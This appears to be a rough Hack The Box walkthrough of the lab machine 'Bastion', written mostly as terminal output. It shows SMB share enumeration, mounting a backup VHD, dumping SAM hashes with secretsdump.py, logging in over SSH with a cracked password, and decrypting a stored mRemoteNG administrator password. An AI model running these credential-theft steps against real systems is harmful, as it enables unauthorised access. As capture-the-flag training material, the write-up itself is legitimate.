SMBCLIENT

MOUNT

GUESTMOUNT

SECRETSDUMP.PY LOCAL SAM

SSH THE WINDOWS

mREMOTEng DECRYPT

PORT STATE SERVICE VERSION

22/tcp open ssh OpenSSH for_Windows_7.9 (protocol 2.0)

| ssh-hostkey:

| 2048 3a:56:ae:75:3c:78:0e:c8:56:4d:cb:1c:22:bf:45:8a (RSA)

| 256 cc:2e:56:ab:19:97:d5:bb:03:fb:82:cd:63:da:68:01 (ECDSA)

|_ 256 93:5f:5d:aa:ca:9f:53:e7:f2:82:e6:64:a8:a3:a0:18 (ED25519)

135/tcp open msrpc Microsoft Windows RPC

139/tcp open netbios-ssn Microsoft Windows netbios-ssn

445/tcp open microsoft-ds Windows Server 2016 Standard 14393 microsoft-ds

5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)

|_http-server-header: Microsoft-HTTPAPI/2.0

|_http-title: Not Found

7816/tcp closed unknown

47001/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)

|_http-server-header: Microsoft-HTTPAPI/2.0

|_http-title: Not Found

49664/tcp open msrpc Microsoft Windows RPC

49665/tcp open msrpc Microsoft Windows RPC

49666/tcp open msrpc Microsoft Windows RPC

49667/tcp open msrpc Microsoft Windows RPC

49668/tcp open msrpc Microsoft Windows RPC

49669/tcp open msrpc Microsoft Windows RPC

49670/tcp open msrpc Microsoft Windows RPC

Service Info: OSs: Windows, Windows Server 2008 R2 - 2012; CPE: cpe:/o:microsoft:windows

Host script results:

|_clock-skew: mean: -38m23s, deviation: 1h09m15s, median: 1m35s

| smb-os-discovery:

| OS: Windows Server 2016 Standard 14393 (Windows Server 2016 Standard 6.3)

| Computer name: Bastion

| NetBIOS computer name: BASTION\x00

| Workgroup: WORKGROUP\x00

|_ System time: 2020-06-20T15:32:11+02:00

| smb-security-mode:

| account_used: guest

| authentication_level: user

| challenge_response: supported

|_ message_signing: disabled (dangerous, but default)

| smb2-security-mode:

| 2.02:

|_ Message signing enabled but not required

| smb2-time:

| date: 2020-06-20T13:32:13

|_ start_date: 2020-06-20T13:21:09

SMB

root@kali:/home/kali/Desktop/hackthebox/bastion# smbclient -L 10.10.10.134

Enter WORKGROUP\root's password:

Sharename	Type	Comment
---	---	---
ADMIN$	Disk	Remote Admin
Backups	Disk	
C$	Disk	Default share
IPC$	IPC	Remote IPC

root@kali:/home/kali/Desktop/hackthebox/bastion# smbclient //10.10.10.134/Backups/

smb: \> ls

.	D	0	Tue Apr 16 06:02:11 2019
..	D	0	Tue Apr 16 06:02:11 2019

```
 note.txt                    AR      116  Tue Apr 16 06:10:09 2019

 SDT65CB.tmp                  A        0  Fri Feb 22 07:43:08 2019

 WindowsImageBackup           D        0  Fri Feb 22 07:44:02 2019


                7735807 blocks of size 4096. 2763193 blocks available
smb: \> get note.txt
root@kali:/home/kali/Desktop/hackthebox/bastion# cat note.txt


Sysadmins: please don't transfer the entire backup file locally, the VPN to the subsidiary office is too slow.
smb: \WindowsImageBackup\L4mpje-PC\Backup 2019-02-22 124351\>
mount -t cifs //10.10.10.134/Backups/ /home/kali/Desktop/hackthebox/bastion/vhd -o rw
root@kali:/home/kali/Desktop/hackthebox/bastion/vhd/WindowsImageBackup/L4mpje-PC/Backup 2019-02-22 124351# guestmount --add 9b9cfbc4-369e-11e9-a17c-806e6f6e6963.vhd --inspector --ro /home/kali/Desktop/hackthebox/bastion/mount/ -v
root@kali:/home/kali/Desktop/hackthebox/bastion/mount/Windows/System32/config# secretsdump.py LOCAL -system SYSTEM -sam ./SAM
[*] Target system bootKey: 0x8b56b2cb5033d8e2e289c26f8939a25f
[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)
Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
L4mpje:1000:aad3b435b51404eeaad3b435b51404ee:26112010952d963c8dc4217daec986d9:::
[*] Cleaning up...
L4mpje  bureaulampje
Ssh L4mpje@bastion.htb
Directory of C:\Users\L4mpje\AppData\Roaming\mRemoteNG


22-02-2019  15:03    <DIR>          .
22-02-2019  15:03    <DIR>          ..
22-02-2019  15:03             6.316 confCons.xml
22-02-2019  15:02             6.194 confCons.xml.20190222-1402277353.backup
22-02-2019  15:02             6.206 confCons.xml.20190222-1402339071.backup
22-02-2019  15:02             6.218 confCons.xml.20190222-1402379227.backup
22-02-2019  15:02             6.231 confCons.xml.20190222-1403070644.backup
22-02-2019  15:03             6.319 confCons.xml.20190222-1403100488.backup
22-02-2019  15:03             6.318 confCons.xml.20190222-1403220026.backup
```

22-02-2019 15:03   6.315 confCons.xml.20190222-1403261268.backup

22-02-2019 15:03   6.316 confCons.xml.20190222-1403272831.backup

22-02-2019 15:03   6.315 confCons.xml.20190222-1403433299.backup

22-02-2019 15:03   6.316 confCons.xml.20190222-1403486580.backup

22-02-2019 15:03   51 extApps.xml

22-02-2019 15:03   5.217 mRemoteNG.log

22-02-2019 15:03   2.245 pnlLayout.xml

22-02-2019 15:01   <DIR>   Themes

root@kali:/home/kali/Desktop/hackthebox/bastion# scp
l4mpje@bastion.htb:/Users/L4mpje/AppData/Roaming/mRemoteNG/confCons.xml .

https://github.com/haseebT/mRemoteNG-Decrypt

root@kali:/home/kali/Desktop/hackthebox/bastion# cat confCons.xml

<?xml version="1.0" encoding="utf-8"?>

<mrng:Connections xmlns:mrng="http://mremoteng.org" Name="Connections" Export="false" EncryptionEngine="AES"
BlockCipherMode="GCM" KdfIterations="1000" FullFileEncryption="false"
Protected="ZSvKI7j224Gf/twXpaP5G2QFZMLr1iO1f5JKdtIKL6eUg+eWkL5tKO886au0ofFPW0oop8R8ddXKAx4KK7sAk6AA"
ConfVersion="2.6">

  <Node Name="DC" Type="Connection" Descr="" Icon="mRemoteNG" Panel="General" Id="500e7d58-662a-44d4-aff0-3a4f547a3fee"
Username="Administrator" Domain=""
Password="aEWNFV5uGcjUHF0uS17QTdT9kVqtKCPeoC0Nw5dmaPFjNQ2kt/zO5xDqE4HdVmHAowVRdC7emf7lWWA10dQKiw=="
Hostname="127.0.0.1" Protocol="RDP" PuttySession="Default Settings" Port="3389" ConnectT

root@kali:/home/kali/Desktop/hackthebox/bastion# python mremoteng_decrypt.py -s
aEWNFV5uGcjUHF0uS17QTdT9kVqtKCPeoC0Nw5dmaPFjNQ2kt/zO5xDqE4HdVmHAowVRdC7emf7lWWA10dQKiw==

Password: thXLHM96BeKL0ER2

root@kali:/home/kali/Desktop/hackthebox/bastion# ssh Administrator@bastion.htb

ROOTED!!!!!